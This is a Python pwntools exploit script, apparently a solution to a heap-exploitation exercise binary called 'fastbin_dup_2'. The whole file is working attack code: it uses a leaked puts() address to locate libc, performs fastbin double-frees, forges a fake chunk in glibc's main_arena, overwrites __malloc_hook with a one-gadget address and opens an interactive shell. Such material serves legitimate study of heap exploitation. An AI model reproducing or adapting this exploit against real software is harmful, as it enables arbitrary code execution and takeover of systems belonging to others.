90 lines
1.9 KiB
Python
Executable File
90 lines
1.9 KiB
Python
Executable File
#!/usr/bin/python3
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF("fastbin_dup_2")
|
|
libc = elf.libc
|
|
|
|
context.terminal = ['kitty', 'bash', '-c']
|
|
|
|
gs = '''
|
|
continue
|
|
'''
|
|
def start():
|
|
if args.GDB:
|
|
return gdb.debug(elf.path, gdbscript=gs)
|
|
else:
|
|
return process(elf.path)
|
|
|
|
# Index of allocated chunks.
|
|
index = 0
|
|
|
|
# Select the "malloc" option; send size & data.
|
|
# Returns chunk index.
|
|
def malloc(size, data):
|
|
global index
|
|
io.send("1")
|
|
io.sendafter("size: ", f"{size}")
|
|
io.sendafter("data: ", data)
|
|
io.recvuntil("> ")
|
|
index += 1
|
|
return index - 1
|
|
|
|
# Select the "free" option; send index.
|
|
def free(index):
|
|
io.send("2")
|
|
io.sendafter("index: ", f"{index}")
|
|
io.recvuntil("> ")
|
|
|
|
io = start()
|
|
|
|
# This binary leaks the address of puts(), use it to resolve the libc load address.
|
|
io.recvuntil("puts() @ ")
|
|
libc.address = int(io.recvline(), 16) - libc.sym.puts
|
|
io.timeout = 0.1
|
|
|
|
# =============================================================================
|
|
|
|
#13 chunks
|
|
|
|
chunk1 = malloc(24, 'abcd')
|
|
chunk2 = malloc(24, 'abcc')
|
|
|
|
free(chunk1)
|
|
free(chunk2)
|
|
free(chunk1)
|
|
|
|
#malloc(24, p64(libc.sym.main_arena + 96))
|
|
#this sets up a fake size field in the fastbins
|
|
malloc(24, p64(0x80))
|
|
malloc(24, 'asdf')
|
|
malloc(24, 'asdf')
|
|
|
|
chunk_b1 = malloc(119, 'asdf')
|
|
chunk_b2 = malloc(119, 'asdf')
|
|
|
|
free(chunk_b1)
|
|
free(chunk_b2)
|
|
free(chunk_b1)
|
|
|
|
fake_chunk_loc = libc.sym.main_arena + 8 # begining of fastbin array
|
|
|
|
malloc(119, p64(fake_chunk_loc))
|
|
malloc(119, 'asdf')
|
|
malloc(119, 'sdfg')
|
|
|
|
#8 * 9
|
|
|
|
payload_loc = libc.sym.__malloc_hook - 35 #definetly the right thing
|
|
malloc(119, p64(0)*9 + p64(payload_loc))
|
|
|
|
#we now have things in place and shit
|
|
onegadget = libc.address + 0xe1fa1
|
|
malloc(72, p64(0)*(35) + p64(onegadget))
|
|
|
|
print("onegadget: {}".format(hex(onegadget)))
|
|
print("top chunk addr: {}".format(hex(payload_loc)))
|
|
|
|
# =============================================================================
|
|
|
|
io.interactive()
|